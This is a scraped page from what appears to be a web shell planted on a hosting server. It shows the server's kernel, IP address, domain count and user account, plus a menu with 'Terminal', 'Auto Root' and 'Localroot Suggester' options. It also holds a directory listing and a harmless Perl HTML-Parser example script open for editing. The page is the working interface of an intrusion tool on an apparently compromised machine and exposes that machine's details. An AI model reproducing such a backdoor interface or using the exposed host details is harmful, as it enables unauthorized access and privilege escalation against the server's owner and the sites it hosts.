Linux server1.hosting4iran.com 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.216.218
Domains : 282 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-HTML-Parser /
eg /
Delete
Unzip
Name
Size
Permission
Date
Action
hanchors
1.11
KB
-rw-r--r--
2013-10-21 05:44
hdump
541
B
-rw-r--r--
2013-10-21 05:44
hform
1.8
KB
-rw-r--r--
2013-10-21 05:44
hlc
547
B
-rw-r--r--
2013-10-21 05:44
hrefsub
2.72
KB
-rw-r--r--
2013-10-21 05:44
hstrip
1.67
KB
-rw-r--r--
2013-10-21 05:44
htext
548
B
-rw-r--r--
2013-10-21 05:44
htextsub
788
B
-rw-r--r--
2013-10-21 05:44
htitle
434
B
-rw-r--r--
2013-10-21 05:44
Save
Rename
#!/usr/bin/perl -w # Shows how to mangle all plain text in an HTML document, using an arbitrary # Perl expression. Plain text is all text not within a tag declaration, i.e. # not in <p ...>, but possibly between <p> and </p> use strict; my $code = shift || usage(); $code = 'sub edit_print { local $_ = shift; ' . $code . '; print }'; #print $code; eval $code; die $@ if $@; use HTML::Parser 3.05; my $p = HTML::Parser->new(unbroken_text => 1, default_h => [ sub { print @_; }, "text" ], text_h => [ \&edit_print, "text" ], ); my $file = shift || usage(); $p->parse_file($file) || die "Can't open file $file: $!\n"; sub usage { my $progname = $0; $progname =~ s,^.*/,,; die "Usage: $progname <perlexpr> <filename>\n"; }